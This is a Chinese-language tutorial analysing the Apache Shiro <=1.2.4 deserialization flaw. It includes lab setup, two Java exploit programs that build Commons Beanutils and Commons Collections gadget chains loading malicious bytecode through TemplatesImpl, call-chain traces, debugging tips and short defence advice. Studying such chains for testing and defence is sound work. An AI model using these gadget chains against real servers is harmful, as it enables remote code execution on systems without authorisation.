shiro结合CB和CC依赖的利用
字数 1526 2025-08-24 07:48:22
Apache Shiro反序列化漏洞利用分析(结合CB和CC依赖)
1. 漏洞简介
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。在Shiro版本<=1.2.4中,存在反序列化漏洞,攻击者可以通过构造特定的序列化数据,结合Commons Beanutils(CB)或Commons Collections(CC)依赖实现远程代码执行。
2. 环境搭建
-
获取Shiro源码(版本<=1.2.4):
https://github.com/apache/shiro -
修改shiro/samples/web目录下的pom.xml:
- 添加jstl依赖(避免JSP解析错误):
<dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.2</version> <scope>provided</scope> </dependency>
- 添加jstl依赖(避免JSP解析错误):
-
添加漏洞利用所需的依赖:
<dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.9.2</version> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
3. 基于Commons Beanutils(CB)的利用
3.1 EXP代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CBtest {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("E:\\JAVA\\shiro550\\target\\classes\\Exp.class"));
// TemplateImpl类
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "360");
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// BeanComparator类
BeanComparator beanComparator = new BeanComparator();
// 创建新的队列,并添加恶意字节码
PriorityQueue queue = new PriorityQueue(360, beanComparator);
queue.add(1);
queue.add(1);
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
serialize(queue);
unserialize("serCB.bin");
}
// 辅助方法省略...
}
3.2 漏洞分析
-
调用链:
getOutputProperties:507,TemplatesImpl invoke0:-1,NativeMethodAccessorImpl invoke:62,NativeMethodAccessorImpl invoke:43,DelegatingMethodAccessorImpl invoke:497,Method invokeMethod:2116,PropertyUtilsBean getSimpleProperty:1267,PropertyUtilsBean getNestedProperty:808,PropertyUtilsBean getProperty:884,PropertyUtilsBean getProperty:464,PropertyUtils compare:163,BeanComparator siftDownUsingComparator:721,PriorityQueue siftDown:687,PriorityQueue heapify:736,PriorityQueue readObject:795,PriorityQueue -
关键点:
- PriorityQueue的readObject方法会调用heapify方法
- heapify方法调用siftDown,进而调用siftDownUsingComparator
- siftDownUsingComparator会执行comparator.compare方法(BeanComparator)
- BeanComparator的compare方法通过PropertyUtils.getProperty执行任意getter方法
- 传入TemplatesImpl的getOutputProperties方法触发代码执行
-
注意点:
- 需要先给beanComparator和queue赋正常值,在queue.add完之后再反射修改为恶意值
- 这样可以避免恶意对象提前执行
4. 基于Commons Collections(CC)的利用
4.1 EXP代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CCtest {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("E:\\JAVA\\shiro550\\target\\classes\\Exp.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "calc");
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object, Object> lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, templates);
HashMap<Object, Object> map1 = new HashMap<>();
map1.put(tiedMapEntry, "bbb");
lazymap.remove(templates);
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap, invokerTransformer);
serialize(map1);
unserialize("serCC.bin");
}
// 辅助方法省略...
}
4.2 漏洞分析
-
调用链:
transform:133,InvokerTransformer get:158,LazyMap getValue:74,TiedMapEntry hashCode:121,TiedMapEntry hash:338,HashMap readObject:1397,HashMap -
关键点:
- HashMap的readObject方法会对key调用hash()方法
- hash()方法调用key的hashCode()方法(TiedMapEntry)
- TiedMapEntry的hashCode()调用getValue()
- getValue()调用map.get(key)(LazyMap)
- LazyMap的get方法会执行factory.transform(key)
- 通过反射将factory设置为InvokerTransformer
- InvokerTransformer的transform方法反射调用恶意对象的newTransformer方法
-
注意点:
- TiedMapEntry构造函数会将key赋值给lazymap,导致流程无法进入if语句
- 需要在最后反射清除key:
lazymap.remove(templates)
5. 调试技巧
-
IDEA调试问题:
- IDEA可能会自动触发某些函数导致payload提前执行
- 需要选择合适的断点位置,避免IDE自动调用
-
关键断点位置:
- 对于CB利用:PriorityQueue的readObject方法
- 对于CC利用:HashMap的readObject方法
6. 总结
-
两种利用方式的区别:
- CB利用:通过BeanComparator的compare方法触发getter
- CC利用:通过HashMap的hashCode触发LazyMap的transform
-
共同点:
- 都需要使用TemplatesImpl加载恶意字节码
- 都需要通过反射设置关键属性
- 都需要注意避免payload提前执行
-
防御建议:
- 升级Shiro到最新版本
- 避免使用已知存在漏洞的依赖版本
- 实施安全的反序列化策略
通过深入理解这两种利用方式,可以更好地防御和检测Shiro反序列化漏洞,同时也能在安全测试中有效验证系统的安全性。